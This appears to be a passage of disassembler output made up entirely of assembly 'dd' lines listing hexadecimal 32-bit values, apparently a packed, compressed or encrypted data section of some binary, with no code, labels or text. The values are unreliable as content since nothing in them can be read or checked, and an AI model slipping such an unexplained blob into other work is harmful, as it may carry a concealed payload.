		dd 89CC016h, 4871A06Fh,	35D0F700h, 906ECFE1h, 8B999C01h
		dd 22A173E9h, 515C9F68h, 89D962A4h, 795B5515h, 0CC21A51Fh
		dd 821A14E9h, 2B79EDA5h, 0FD2FE107h, 809F444h, 4C04665Fh
		dd 30863728h, 46AC60BEh, 0EF8325D3h, 0DF215220h, 644E0CDAh
		dd 588639D0h, 2CAF624Bh, 0AE185175h, 0DCB160A1h, 327E950h
		dd 2C016578h, 0C60A70DFh, 58B78ED2h, 0DC037E14h, 60509D2h
		dd 2D78FA50h, 4BE33E1Dh, 4C787042h, 53FE13Ah, 115A0747h
		dd 0F0C7E909h, 0C1492434h, 0E18100D4h, 5B4D462Bh, 0CF0850BCh
		dd 687440FDh, 29D3108h,	0A369FEF3h, 0D13CB642h,	0DB813013h
		dd 7D67B5E7h, 0D032302Fh, 0F887BD04h, 7AC6FA01h, 0E2294877h
		dd 3C1168E0h, 0A3A46499h, 91DBE959h, 527414D1h,	3F2D3A68h
		dd 0D60B955h, 93DB9A7Ah, 0B1DD484Bh, 156E32Ah, 9ADCA5F3h
		dd 8566B971h, 0E2AF0F66h, 0BD121035h, 0BC54F366h, 8C708091h
		dd 83059E69h, 58C6306Fh, 2D6CF09Ah, 0E3D11EB4h,	88072228h
		dd 475053C2h, 58E763D4h, 1E2DE0CCh, 4E27C59h, 7EE470F8h
		dd 246186F0h, 0BFA361Dh, 79846AC1h, 0F190C1DBh,	292FE420h
		dd 3A098F94h, 0B0159411h, 31089032h, 0FE7FC0FCh, 2DB6A45Bh
		dd 4D9D6C12h, 0B560B5ECh, 846CFF24h, 7D18806Ch,	72BC291Dh
		dd 0C44293Eh, 0CE0C0820h, 0CC3EBE71h, 664340DDh, 57740F90h
		dd 69C6BF1Eh, 36F78103h, 0EF0A0F52h, 53CF7FBBh,	0CD46439Dh
		dd 0C724B0E9h, 213565Eh, 395886E3h, 9A74EB5Ch, 7B027925h
		dd 28F39E5Dh, 0AA1EFA22h, 3EE55E13h, 8221C44Bh,	8F280C47h
		dd 5A2F162Dh, 2C759A02h, 3A6DE66h, 8BE22016h, 0E2F1F787h
		dd 0FAD15F4Dh, 29116E9Ah, 64F86AD4h, 66A026EFh,	6B5C794Ch
		dd 18CC3424h, 0DDD94FE4h, 2AAF6175h, 1A0E0D13h,	45476F87h
		dd 0E54057CEh, 4FF5814Dh, 1EA13027h, 5538E20Ch,	0AC800D4Eh
		dd 9EBCC3E9h, 1534B8Eh,	0CBCC5797h, 36B730E9h, 6F39E1B5h
		dd 5E29852Eh, 4227C11Eh, 8378609Eh, 2EF9B4h, 2CA4C6C0h
		dd 0F70C49B0h, 0B1A8E9DEh
		dd 60EE4C21h, 0BE0FE820h, 78616265h, 36038F32h,	905C2A29h
		dd 1B86C207h, 0FAB7477Ah, 813EA85h, 0ED3A270Ah,	34ECB880h
		dd 7D48511Ch, 0E4FC0Dh,	7FFB2D6Ch, 0C1897DFCh, 4AC6585Bh
		dd 0B8BA8644h, 336320A5h, 0D9349B97h, 0A293EF9Dh, 0CB32C55Ah
		dd 1C711271h, 1F49B389h, 3B16E179h, 6ECA8D6Eh, 4AE9AE28h
		dd 64E30367h, 0BDC132FFh, 938C50BAh, 0B0C083Ah,	0D91F681h
		dd 3231042Dh, 8701053Eh, 0F22989E8h, 144B8802h,	9898E759h
		dd 54C7684Bh, 405DE37Fh, 0E777B355h, 7DC0234Ah,	245943BDh
		dd 315F79h, 0A086A6C1h,	0ADCECAE9h, 5D18C553h, 0E29DD88h
		dd 9F2EFF5h, 314E47Eh, 43E42AB2h, 13E0C0FFh, 12C621Ah
		dd 82021D7h, 54B6E912h,	83161DA7h, 0D9E774EBh, 89123BBFh
		dd 37209CDDh, 1F899DA5h, 0DA98E13Eh, 41F6420h, 0B2EEAB9h
		dd 0F15C8435h, 6A6BFC7Ch, 0C60EDC24h, 0DCF2A1Dh, 4293691Dh
		dd 0C46642CFh, 0B9F03340h, 0F6B9E373h, 11206B6Ch, 2CDBE56h
		dd 29386004h, 76565EF3h, 0A1887226h, 27F92236h,	0D11A3B08h
		dd 79E2206Bh, 97909758h, 4D4B1001h, 5FFA316Eh, 0B87D2E0h
		dd 0C1E945EAh, 3C89D0E1h, 5EF51ECDh, 0A4F299D3h, 35A56882h
		dd 12A02C24h, 920B9DCDh, 4392879Eh, 4AF3E927h, 0C84661B0h
		dd 0B4A6F9B3h, 0C3312B16h, 7D2F36A2h, 0CB01F040h, 45541FEEh
		dd 0D5A2F88Eh, 34BF79C8h, 638A0E17h, 0CAAE320Eh, 1F17D060h
		dd 17289557h, 800A406Eh, 0FEF5F703h, 0B8EFD0CFh, 4F2820C7h
		dd 0C137FAh, 0DD8DE9D3h, 24838892h, 0DB28A25Fh,	44C04F83h
		dd 0B436E9A5h, 3D09F768h, 62BED39Ah, 0E6AE02E5h, 42A8A24Eh
		dd 833D308h, 140B951h, 5B8359CDh, 0E99D90EDh, 0B8A8C754h
		dd 4D1627C3h, 83BBAh, 5B120Fh, 17C791Ch, 0CE04811Bh, 787B6D7Ah
		dd 65F4D582h, 75652DFAh, 0A208F629h, 37B305B8h,	0C8504F6h
		dd 684DCC6Ch, 2A14064Bh, 6D7D1303h, 59C8C540h, 2C0FC00Bh
		dd 825A4E84h, 62B16855h, 13C1151h, 0EE86E56h, 3720515Ah
		dd 0FD85C325h, 862D7F7h, 45CE9C18h, 4C010A2Fh, 0E95903C4h
		dd 0C90734AFh, 0BB68B1EBh, 5BDD01A1h, 0A6E8A459h, 0E129C073h
		dd 2C7E1A45h, 0E30B31B0h, 840FE56Eh, 83012164h,	4D5702EFh
		dd 92342CF7h, 0C01B121h, 54BB5300h, 6DD53A03h, 0C07E3C1h
		dd 0D3F70506h, 379267BEh, 0C52DB98Dh, 1F798C87h, 0C83EC729h
		dd 5D058F43h, 0B7D9A5C3h, 0AE0F861Eh, 134C208h,	8F888D0h
		dd 0B0C50A25h, 8D4FD110h, 802A3979h, 52505FFDh,	16D00B68h
		dd 0DA8B75BCh, 4EF72210h, 60F46F04h, 5A80F929h,	9D122D68h
		dd 6D586699h, 0C5114996h, 1427778Eh, 731B3390h,	93594C2Ch
		dd 0D64B8B48h, 359E9415h, 611E6BB6h, 0A0683141h, 96FE284Eh
		dd 4BD29DF2h, 4D40AF2Eh, 0B90EA20h, 0ED5C5B20h,	5780F9D7h
		dd 1C07C46Dh, 2458669Dh, 2DC3C819h, 0DCBDACA9h,	6E482B23h
		dd 636C2A24h, 6F86B280h, 3D73032Eh, 0DA032C2Ch,	0B0715233h
		dd 16639EEEh, 0B89EB77h, 0A7780CA1h, 0A6F4883Bh, 6BA85619h
		dd 20844F4Ch, 0E896B5FDh, 4CA6324Dh, 0BB215F83h, 16A5C5D5h
		dd 0B6083D2Fh, 8492282Eh, 0CBC9E0A0h, 26588919h, 0E1C5B14Ah
		dd 0EF4A5E65h, 0AF187E01h, 1C706835h, 0CCE1CA59h, 0C506C831h
		dd 697FE912h, 0A607589h, 0F2264C6Dh, 347468A0h,	0BF40D09Ch
		dd 58A45EEBh, 0C60EDF65h, 1D20743h, 854577C9h, 80347C3Dh
		dd 37C242E7h, 82264BE9h, 0A66A5E92h, 0F9EB337Ch, 0B357E524h
		dd 0A96802A7h, 0D040B914h, 4AE975BDh, 0CF3EA354h, 0FA61D353h
		dd 6582D6E9h, 535AD301h, 0B25428Ah, 5FCB2E28h, 6CF181ECh
		dd 8555022Ch, 0CC205D14h, 5802E6C1h, 7720ED46h,	2D5A542Eh
		dd 50E8C1D8h, 2468BF0Ah, 6D40324Ch, 2BD74223h, 8EE9C8A1h
		dd 0EE352E4Bh, 0CF5EEBECh, 6C85BB9h, 4FA4B71Dh,	0FC2AC2DBh
		dd 0F203D209h, 2C704021h, 68599E05h, 12E32291h,	1C560710h
		dd 0EA9AD531h, 4F9B0408h, 0C7B17B5Dh, 42E1C09Dh, 26EB25AAh
		dd 0C159D831h, 417BEDE8h, 0BE43690Ch, 0A1047F3Fh, 401F48D4h
		dd 0DCF695B4h, 0AD2EF480h, 0BB099388h, 0A1A02FEEh, 1E592771h
		dd 91570C80h, 0F789E19Ah, 0C8315E39h, 3A98400h,	14F58100h
		dd 532E4464h, 0A0163DD1h, 0B255B8C3h, 2854F6B6h, 1A51209Dh
		dd 5EFC113h, 0B16DC501h, 0F2F9FBBDh, 8800052Eh,	0B1BDC5F7h
		dd 4C737CDDh, 1CB9A41Eh, 8230E917h, 0C266BEFCh,	853A8CBh
		dd 0E344F69Eh, 980835C3h, 904E49EFh, 0AA08021h,	0F6A59D52h
		dd 0AD804596h, 25E4EC31h, 5C3D9137h, 7D174283h,	0D2F94AE0h
		dd 0C5306E5Fh, 3F80BBB3h, 0E325A2F3h, 648242C2h, 0D80941E6h
		dd 4B257FFCh, 0EACF40A3h, 41A02B4Dh, 51705E90h,	2C7FE48h
		dd 846BA4E9h, 14DB6072h, 186F3D3Ch, 352D7596h, 15939D01h
		dd 58EF3205h, 80019944h, 68669FEBh, 70293A30h, 0B2520578h
		dd 0F033E948h, 43012DF2h, 296A671Fh, 74205E8h, 0C089C35Dh
		dd 26843A78h, 56225A7Dh, 0AB996195h, 9F457A09h,	0FE00E7C1h
		dd 221B7EEFh, 0EB85A12Ah, 0C05BA1D8h, 6C71D30Ch, 0FA51012Dh
		dd 0AA08048Dh, 0A0B9E428h, 0B7B4E91Ch, 0CA29F983h, 7B303600h
		dd 895963F9h, 0E95A12D0h, 0D89DF1C1h, 8004C4FEh, 0E5088EECh
		dd 0C0C260F8h, 8C8303EDh, 0A8B08066h, 0C5EAD528h, 0BF5FE9EAh
		dd 0CE018704h, 759209C1h, 9B59E360h, 0ED652D10h, 91D45C13h
		dd 389F2DA4h, 0CCCFFFB3h, 0CD38339h, 0E7622688h, 34783233h
		dd 0AA7F5B7Ch, 68A39301h, 0F5744D1Eh, 4A324FC7h, 3ACD7CEAh
		dd 4AFE47CFh, 0C85FC403h, 822EE96Ah, 2E41B53Ah,	0E2402975h
		dd 31739EEBh, 800C316Dh, 70EEC9DBh, 6E26E9BBh, 5A8B36E0h
		dd 751D6627h, 28CE5FD9h, 3627E9DEh, 0C3AB131Dh,	0D24F9DDFh
		dd 0A354E9DEh, 0F3FD8892h, 0C01D0059h, 0DFF603EFh, 7D4AC780h
		dd 4FFC52B0h, 30762706h, 0BF74C042h, 94025300h,	0E9D7315Fh
		dd 0A5D162E5h, 0BBDE7391h, 578B1A6Eh, 0BA948E1Ch, 0F8C29692h
		dd 38FCDC30h, 0AC251134h, 0C10F38B6h, 1279B930h, 1578201h
		dd 0C46E6BD2h, 4E5C3CD4h, 6FE48041h, 447D2C46h,	53E0722Ah
		dd 0AD3691B8h, 0B2697C73h, 287BC5BCh, 724D2006h, 0FC23B05h
		dd 5ED0BC84h, 92047C7h,	1D575F53h, 9800647Bh, 6833BC2Dh
		dd 232F5D7Ah, 646BC783h, 5FFA0990h, 5FDF72CBh, 572BA680h
		dd 0CC36E920h, 20F660C2h, 5B0B3AA9h, 0C602C183h, 0BBF2A1CCh
		dd 6340E708h, 0E55358ACh, 8850B300h, 0C2805BDAh, 17F69A3Bh
		dd 24A4BAE9h, 345A1EE3h, 653C9D1Bh, 0BC2D03DAh,	0D2F21C6Ch
		dd 797AB175h, 89D62570h, 508A5E97h, 0C32E9D61h,	0CC34D9E9h
		dd 62F6D6C8h, 0CCB6B8E1h, 3F2C9991h, 20BC1521h,	0FD81A6h
		dd 2E676855h, 190162Fh,	1BD1F62h, 0F031461Ah, 0AACD24DAh
		dd 3A8A09C5h, 599473F1h, 3604935Fh, 5E09BBCFh, 4CBC2501h
		dd 0D21270EDh, 2D25314Ah, 40F4E4B0h, 0C60005D8h, 516E3C0Ah
		dd 343BF57h, 892B5B79h,	58F85FF9h, 24030A42h, 0FD2CCE2Dh
		dd 34A9D517h, 0E9C82902h, 4AFCEAC0h, 59B98A8Bh,	0DD92BF59h
		dd 138CADDBh, 0FFDC1132h, 0ED13B756h, 2F5C1824h, 15001A13h
		dd 74F163D4h, 55F31501h, 687E08BDh, 2217225Dh, 76810D3h
		dd 0E275E08h, 5C3FBFA2h, 9F376884h, 0D86C5CC5h,	59E40C08h
		dd 1474509h, 88488DDh, 14170C34h, 0D8523E09h, 0DBCA2E78h
		dd 2A526BC7h, 1EC66812h, 0B62FE6B3h, 0DDF70382h, 0BB5015FEh
		dd 4F6F0275h
		dd 1BEAE97Eh, 67AD675Ch, 0F6CC2D25h, 237E6682h,	2B9C164h
		dd 5E7FC300h, 2F68030Ah, 0BA8D0D54h, 0F640175Eh, 0E023F6EAh
		dd 0B0017627h, 77088370h, 4E5C90CEh, 0E7254B34h, 18EF2C39h
		dd 95FB4F7h, 3B02FB29h,	5E0969C0h, 1A652DDCh, 5CFA81A7h
		dd 0F7C9FE31h, 21960892h, 7F2AEB98h, 57840427h,	583978E1h
		dd 0A0AB851Dh, 2ED877A0h, 81652600h, 0A56834F1h, 21A9067h
		dd 28346EBh, 0B071E929h, 46E05193h, 0A72B1337h,	4190F374h
		dd 0E30C0584h, 4FE913ACh, 5E533241h, 0D626D768h, 70145D31h
		dd 5AFF3336h, 6F9A5B01h, 216B2863h, 305F27h, 124FC680h
		dd 0E85AF188h, 0E2C7E45h, 0AC8937E1h, 0EB1DD957h, 58549602h
		dd 0E74D1EAh, 17CA4452h, 9DD18CBh, 57C1D1C7h, 0D625725Bh
		dd 0F6E0BC94h, 0EC5A4C0Fh, 0E52AE9C2h, 5BF9A9C8h, 590ECEE6h
		dd 4AF680h, 0D9045AF0h,	2CD83A28h, 4548E90Bh, 3221D8B1h
		dd 0AF5018E4h, 1D710D48h, 4F4E4063h, 3F402F5Eh,	7419F52Dh
		dd 0C2311809h, 50D14058h, 40DE4BE9h, 8677C521h,	30F68361h
		dd 0BD06809Dh, 0A0B80C2Dh, 1844EDE8h, 2C7DCE6Dh, 9A269B8Fh
		dd 0FA1ABDA9h, 8EFFDE2Ch, 0E027C0FEh, 5222E502h, 50D2A8C5h
		dd 0F093C89h, 874A339Bh, 7738388h, 44AEB436h, 1D523010h
		dd 0D9AEE849h, 1A9B3E6Bh, 0DBEB10F2h, 6A4D1B50h, 4DB6A72Eh
		dd 6B46CB0Bh, 580B914h,	0CCA57438h, 0E665B46Eh,	12255D46h
		dd 69C79022h, 0A1685BE1h, 8B4F294Fh, 787AE931h,	0F1F63B11h
		dd 0B854E492h, 4263C4FAh, 7E74500Ch, 0C681BBC7h, 0C1DF2122h
		dd 43E6EA4h, 82E62879h,	0F6487560h, 7C48F968h, 8098D778h
		dd 64669E5Dh, 0C5A8B85Ch, 57825355h, 0D608433Ah, 0D222FBC2h
		dd 4C33EA7Eh, 49D3AFB0h, 50675028h, 0A4918794h,	0E335AF97h
		dd 2898C301h, 0AC705221h, 504112F9h, 65FBAC0Ah,	7F00706h
		dd 0C74E3AF1h, 56413DEh, 0DD2A7B5Ah, 2D2E41AFh,	0E95A2009h
		dd 4D794459h, 815789F9h, 9122993Dh, 3069BFC0h, 0EF546EDDh
		dd 0FD5B895Dh, 82055330h, 7A180251h, 20E9E829h,	565BDBF8h
		dd 8FD084CAh, 0E9B62C4Fh, 7600714Eh, 3D1384B9h,	0B5F3F406h
		dd 0E745E209h, 5E51CA32h, 0EFE1536Dh, 28673F5Ch, 93894A98h
		dd 0C052C4A7h, 4347ED29h, 0E5588834h, 0A7659A82h, 5BADBA17h
		dd 0F0424461h, 0BB52F807h, 7AA90333h, 0EAD860F1h, 0A9A05301h
		dd 0DB2556C7h, 0C0606262h, 9C27C979h, 0F1D97A5Eh, 5D685C96h
		dd 0CB2549E9h, 0DE685D05h, 1D9AE373h, 305559A8h, 0E95B04B3h
		dd 0D7F51DCEh, 7BD51BFCh, 0D292284Ch, 0EA800081h, 45866D7h
		dd 0BB022C1Eh, 1FE9D028h, 79615251h, 0F7802EB7h, 7DDF1A21h
		dd 24DC68Ah, 859363Dh, 0AD348040h, 44434082h, 2CC82C05h
		dd 768900FAh, 16E9628Dh, 0CD971B5Bh, 0BE4B48D6h, 5F19036Bh
		dd 0C4B2731h, 335AEED1h, 6AF3A321h, 89990D06h, 5E48F9F6h
		dd 1AB5C768h, 256741A6h, 0F2C202Bh, 682DC8BEh, 43509A1h
		dd 0B207D3ECh, 8B97777Bh, 0B6525998h, 0C6FE3A03h, 0AF86D6F6h
		dd 0CF30D743h, 3808F726h, 17CB151h, 3E1C0C9h, 612CF180h
		dd 0CE24308Dh, 8041E925h, 5E21BFC0h, 0F728017Bh, 3EFC1D7h
		dd 5D04D881h, 0C30AF30h, 4AA01797h, 5F3E2D5h, 1B36E955h
		dd 3D09615Eh, 881BF934h, 311F08B3h, 4F095D87h, 0C2E59CBh
		dd 0B3EB05BEh, 0A7713B5Bh, 0F6905152h, 0DB275B5Bh, 5AB3D8A2h
		dd 0BDE84977h, 2BC1B900h, 8168077Dh, 0C152A02h,	41C83158h
		dd 8E2E1095h, 809D4927h, 21573768h, 49591F01h, 9BCAF9E9h
		dd 0A9BF580Eh, 10D6736Bh, 0F0128E72h, 72C2E5E9h, 5DEF6883h
		dd 0DAE5F757h, 5838F575h, 204AD44Bh, 0C7EDE999h, 492010B2h
		dd 0C1FDF409h, 5BDE294Dh, 80943A05h, 733164ACh,	0DC28B655h
		dd 5B9CFCC8h, 8A41B080h, 0B8D2F77Ch, 0EE3B0BCDh, 0F962A9C4h
		dd 0F486914h, 44311350h, 11E90E30h, 0C954D7ABh,	7C4131DEh
		dd 411293DEh, 0AB39DCF1h, 60675127h, 0B2526789h, 65FE565Ah
		dd 0CB5DE25Bh, 8F5A7957h, 2CF0F8E9h, 8177554h, 28410E8Dh
		dd 40381DDEh, 0CD209090h, 694EF39Bh, 5BCEDE14h,	15E9C20Ch
		dd 6F31634Eh, 0F8D5C4DFh, 4807E002h, 0ECC05150h, 87A96D54h
		dd 3859DDDAh, 1E395099h, 0BD920999h, 80D6D0ACh,	5DE8214Bh
		dd 830A00BFh, 0B5370F31h, 0CA817E80h, 5C1740A4h, 0FDE1422Dh
		dd 28746CE4h, 0AC22107h, 786E6A0Ah, 0BCF903E6h,	8258FF4Dh
		dd 90C200C8h, 290EBE16h, 875A4CD0h, 0C3736500h,	0EF814774h
		dd 756C140Eh, 0DBCFC028h, 0FA657E2Bh, 0A87CE3E9h, 0D81E5C3Fh
		dd 0A572A704h, 4FC0E124h, 30248689h, 81BC7B12h,	0F54ED85Ch
		dd 376C0CD6h, 65696CE9h, 0E0B0E4BAh, 395F4C26h,	92107109h
		dd 0E20040C8h, 64E4960Bh, 0C9C27C6h, 1EEE25E9h,	0EA40B151h
		dd 809E6EEFh, 11AE11EDh, 194DC302h, 57013AE6h, 3008B808h
		dd 5476910Ch, 13EF2550h, 0C641C55Eh, 621268E0h,	5AF8403Bh
		dd 29219A75h, 2D527440h, 8BB24A68h, 0CA04120Fh,	0AC5385E9h
		dd 0DCD389A0h, 54A6BA52h, 0B56864AEh, 7BBB21DCh, 79CB3249h
		dd 0E5C2431h, 18EC6286h, 1F12D90Ch, 7B02511h, 0E9446078h
		dd 0DF32F5EEh, 4A32407Bh, 63C33DABh, 0E075B2BDh, 0B2EE7F3h
		dd 0CB313CA4h, 42251D65h, 308B00FAh, 0B08BCFB2h, 25E296FFh
		dd 0FDA9DE62h, 0F4E2CBF4h, 0B25200A8h, 0FA5EB0A2h, 0BCB13F80h
		dd 58C11C30h, 0E63D680h, 0E7C736EEh, 79EF9282h,	0E98EF4C0h
		dd 68C7F060h, 904D4E65h, 8CA15430h, 20029855h, 0C39D0A2Fh
		dd 5088FAC5h, 4B05047Fh, 821BD268h, 7812D80h, 28CD60E9h
		dd 2921E514h, 200526D2h, 2D63F50Ch, 0CC584427h,	18BD20FFh
		dd 0C574545Ch, 97A9675Ah, 0FFCE20D6h, 3813A071h, 0E40CE2C1h
		dd 1040ADAh, 0C9F2814Ah, 81405907h, 1B060F0Ch, 3CA7E98Ah
		dd 0CFB9F16Bh, 0F725FC7Dh, 2293D14Fh, 5CDDE206h, 5B542CEBh
		dd 4B5437F2h, 10923500h, 4E895C90h, 0C0AA22C5h,	942F2F7Ch
		dd 0D36615EDh, 0C437E63Ch, 0C524B927h, 6169EA53h, 14B612Eh
		dd 596F89CBh, 0C90E5B52h, 49508301h, 0BE046B1Fh, 0ABE46E5h
		dd 43EC59F6h, 5BDA5DDAh, 0F4F3317Dh, 92FA835h, 55A6659Dh
		dd 77590E86h, 0D9B30B14h, 8B9B89B6h, 0EB9505A5h, 4AD5E972h
		dd 5685D4DEh, 12035C58h, 0F4E52D02h, 34CF681h, 8349748Ah
		dd 412BE932h, 0DF1B079h, 8780071Ah, 7059C809h, 5DE21BFBh
		dd 0F14CE92Ch, 883E2C82h, 988C43C2h, 0EADA284Bh, 312BEBEAh
		dd 0F48F2CDEh, 0E92D52D0h, 124042BEh, 1208DB10h, 2E9BE03Bh
		dd 0ED29A740h, 0B8D2520h, 5D483067h, 0BD1ABEC5h, 278EC80Fh
		dd 5CE20237h, 63E9CD29h, 5D0B3B58h, 51D38953h, 0CDED65E2h
		dd 391CFD06h, 14E91243h, 32B2AEC4h, 28222A7Ah, 0A6DC37BFh
		dd 0BD7A61Eh, 18CC6809h, 7EFC0285h, 0BB30A31h, 0F99E49B1h
		dd 0E994D0FCh, 865D2C09h, 486118B6h, 0EE05E643h, 0D7EFBDD5h
		dd 79F1F75Ch, 65EF5D74h, 974EE8A9h, 21AEE4EEh, 0F41829BAh
		dd 0C79F2C8Bh, 5A0E08B2h, 835AF639h, 0CC754C4Bh, 65FA0252h
		dd 15E740Eh, 2FC2F9C8h,	2DFC7F13h, 742C6515h, 214FEA77h
		dd 5C2CEAB1h, 680B83C8h, 6C33A918h, 0AB439DDh, 0B850700Eh
		dd 8F4BF541h, 7BB3101h,	6354C184h, 3C093E1Ah, 0ED069h
		dd 7707CEBFh, 5FF8314Fh, 88ED6ED3h, 23173A90h, 0C6E9CC3Ch
		dd 6E32434Eh, 4B1FF0D3h, 9282E65Dh, 0C5045DCDh,	0DBB4E590h
		dd 51E64C88h, 0E3866C4h
		dd 895DC101h, 0D9ED59CEh, 0C2DA402Ah, 1B3967D0h, 96410CC5h
		dd 5BF7384h, 92F9DA53h,	197E0CB7h, 5443FB42h, 3876285h
		dd 4CDC580Ch, 0EE80B929h, 2B9179B7h, 68605994h,	50533DDDh
		dd 0BE3FC51h, 45B21943h, 5516BEC0h, 5A31052Dh, 0B0C9041Fh
		dd 0EC8908F4h, 2EBF185Bh, 9D58C5CFh, 7CA194BCh,	46E32C6Bh
		dd 2F7148A1h, 3D04A03Bh, 0B851C709h, 0D396950h,	0B4B9A6F0h
		dd 0AAE8E961h, 55B5280h, 6831F86Bh, 80998FD2h, 49B90C9Eh
		dd 0E7F81DCBh, 367F6824h, 58B4E985h, 3CEDCE91h,	2568302Ah
		dd 5D19BA2Bh, 0C2F0FA21h, 0A72F6FBBh, 3161E689h, 4944FC56h
		dd 1E10B880h, 89313E5Ch, 636AFA4Dh, 81438585h, 41D9E85h
		dd 957B54FBh, 3BBF5780h, 9B5EF35h, 48B5D2A3h, 0C41000F7h
		dd 0E5C107CDh, 8F308105h, 0ED19F527h, 947CCF4h,	98E97464h
		dd 205856C1h, 67078BF3h, 0DDF70661h, 44F09BE5h,	0C8683750h
		dd 948BB5B1h, 92EA1E89h, 59F244FBh, 4F405304h, 376B2FBEh
		dd 40D7981Fh, 5005A4Eh,	1E473D34h, 0A02DE801h, 6B17E907h
		dd 8A012461h, 70C7FE4Dh, 0D290A986h, 0C09EBD4Ch, 0E2F971BBh
		dd 54C2B5D3h, 1289687Eh, 0A79BD9D4h, 6AA96E4h, 6195BA77h
		dd 446EDD40h, 0EDDA017Eh, 0B7F8514h, 2FC570A8h,	0D6888831h
		dd 0C3DE8CCh, 33561352h, 7B22B847h, 6CBA8EC0h, 25E703FEh
		dd 0D6C0E5E9h, 6AB09EB2h, 6FF6A52Ch, 0D24D059Dh, 7C300AC0h
		dd 0BE91240h, 7DD2BDF1h, 9288D58h, 665DCB68h, 0A3C4203Bh
		dd 0E5158398h, 7383E351h, 979844FDh, 0D5F80699h, 164AAFF6h
		dd 323256F4h, 3B0AD7F6h, 2C0EF5DEh, 4F007F8h, 945A6643h
		dd 29D55A81h, 0B6C6F381h, 0ED2F44E0h, 3F3284h, 882613EFh
		dd 0F1C7295Ah, 6F088ACAh, 0B506510h, 5BB2C9D1h,	844B85Ch
		dd 9529E4D8h, 5A72C2C8h, 455D9397h, 8A3ABA10h, 2595415Ch
		dd 0CE772A65h, 33B8EBD4h, 7F46BA02h, 9B405401h,	0CB125FC0h
		dd 9C0E426Ah, 6D020414h, 8D66182h, 0B6528EAEh, 0C0CEFE25h
		dd 0F4889F93h, 0CC985A7Bh, 0E9D6F604h, 40FBEC01h, 162E0A85h
		dd 0C602BF06h, 3144AD33h, 5C9C42F7h, 0A30C3582h, 485425F4h
		dd 97235A4Eh, 302423E7h, 8AB6A812h, 0FC033013h,	0E6878B5Ah
		dd 272C40C1h, 46F66E45h, 0B3E92A72h, 7108B0A1h,	29319F35h
		dd 2AD8ED54h, 38A05113h, 73033268h, 0CFEA0189h,	4F3EBE7Fh
		dd 0A41D315Ch, 602C76A9h, 5ACBB91Ah, 296B126Fh,	0E900024Ch
		dd 12D43FA3h, 0C2689180h, 26FD097Ah, 574D5Fh, 50B2236h
		dd 0C0CBA52h, 7C010A20h, 0F43C0627h, 98D52928h,	655A0881h
		dd 0E102E93h, 80B7923Fh, 0C4DAE93Ah, 2F71EA3Bh,	8704A218h
		dd 1A57286h, 98BD94D3h,	0BA24F661h, 0F7B6124Dh,	1046FC11h
		dd 0B14F3704h, 0E0A8E0D9h, 57599FA8h, 489DC190h, 1DE8E2FEh
		dd 9C2DF670h, 7E76C2CAh, 0E8C84239h, 2A7DC12Bh,	841FF23Fh
		dd 0C7E97A37h, 95E86994h, 0D128D309h, 0E101EB7Eh, 0D9AAE9A5h
		dd 10726DADh, 66C3ADAAh, 26E91317h, 5B68EAC0h, 5ACE9E32h
		dd 3D5A05D7h, 0BB160CB8h, 698C0356h, 0B7F5ABEh,	0F1FF3669h
		dd 0C5714B3Eh, 653E6881h, 10286DABh, 9E23D504h,	0B17C824Fh
		dd 91EAF8D6h, 64E568C1h, 7F623D2Bh, 8145E615h, 49CB2501h
		dd 0C921FDD1h, 88800814h, 55E9525Fh, 2A34BDE2h,	28A426EFh
		dd 4492474h, 0C4F304D8h, 8E12EB81h, 4844D809h, 81D54C61h
		dd 3272F53h, 0C9C862B2h, 0E140D2B4h, 0A0296F85h, 4C64F2E0h
		dd 0F3406036h, 3F1338DEh, 57BBE989h, 4A68BD30h,	0CD9565Bh
		dd 80527720h, 0C50EFE5Bh, 7D44ED80h, 37DFF654h,	89641D1Fh
		dd 7215AA0h, 0E3C15FFBh, 0B8C9B203h, 5ABAF8E6h,	0AFB9ED73h
		dd 82DB76C9h, 407E5BEEh, 0CAC25140h, 4404C082h,	46A02452h
		dd 365C00C5h, 0D6E927FEh, 0A299F7B2h, 55CA80AFh, 581105Eh
		dd 756C1EEBh, 0D4FB0039h, 0E912D27Eh, 0B5E81D20h, 58FA646Eh
		dd 6AE2ED4Ah, 1F0D3710h, 380C15Ah, 11CF181h, 2A7D584Ah
		dd 0F7B00820h, 0EB3BF5FCh, 29027C13h, 1367B30h,	9C9C2F1h
		dd 49C57908h, 4FBC13C5h, 27607DB5h, 0A385A052h,	0C62980BFh
		dd 89505809h, 3FA57CF0h, 9971DC25h, 52FC5649h, 2E7A96DDh
		dd 0BBC9EE38h, 7019814Ch, 2D8710E4h, 3D3C880Bh,	0C96E967Bh
		dd 7948501h, 0C5002F80h, 3E9B2A4Fh, 80644BE9h, 0F1FB9A1h
		dd 16E5E17h, 7352A9E4h,	0EB385026h, 0F65B1341h,	0BE8BC65h
		dd 2D30E8Eh, 0DDAB37EAh, 0F094990h, 55DE888h, 0DFC8D3BBh
		dd 4EEA0082h, 14AAF17h,	75277298h, 0F719EE20h, 4E85F3F9h
		dd 9186D5F6h, 2B40CC78h, 2F217E88h, 2D027C11h, 28072689h
		dd 805866D0h, 80CC5DEBh, 0C217945Eh, 3422464Bh,	0B1F4EEE2h
		dd 9F390C8Bh, 8648D779h, 985126F1h, 0CAFE6105h,	8006B4C0h
		dd 0B7365CE2h, 0F2043A3Bh, 95F1E9A4h, 559D6201h, 0B8D5D6CAh
		dd 6850E904h, 0EA266A0h, 8B83EFEDh, 5DAB2909h, 6BF611FAh
		dd 0A80E3E27h, 80B1FF09h, 0B4095066h, 42E130EAh, 0C7B3775Ch
		dd 3059CBE1h, 51125B57h, 30747FB5h, 0ACB29204h,	85271AC3h
		dd 957515A8h, 1832B865h, 0E673E0AFh, 4CB30953h,	0A6E041E9h
		dd 0D3BA4F68h, 419765F4h, 8D6A5DA9h, 0BE57F0FDh, 435BB3CEh
		dd 0B26F2F05h, 2DB78629h, 3CE92D0Eh, 0A85C4204h, 2009160Ah
		dd 77C93AF8h, 0CD562BE2h, 2815CF0h, 0E5AC9DF3h,	106101AAh
		dd 4F017805h, 4A74C683h, 25F3A30Fh, 630BD0FDh, 0DE94D0Ah
		dd 9B057F50h, 5AD5881Eh, 0BC2B7AE5h, 0D5E970C5h, 8FD6C948h
		dd 0B6A0605h, 97BA0047h, 42453D2Bh, 563AB850h, 2D700F48h
		dd 6DED8167h, 0C1CAD0F7h, 0F052A426h, 804EC057h, 782A3F7Dh
		dd 3B62D626h, 87D58285h, 566B989h, 0BB6FE953h, 0C46242D7h
		dd 95B4D936h, 0ADD9FC5Ah, 47F27460h, 0E14B8698h, 0CC3B82CDh
		dd 0F3599D7Eh, 42AAA4BEh, 703B6874h, 0B682E2F1h, 601E4831h
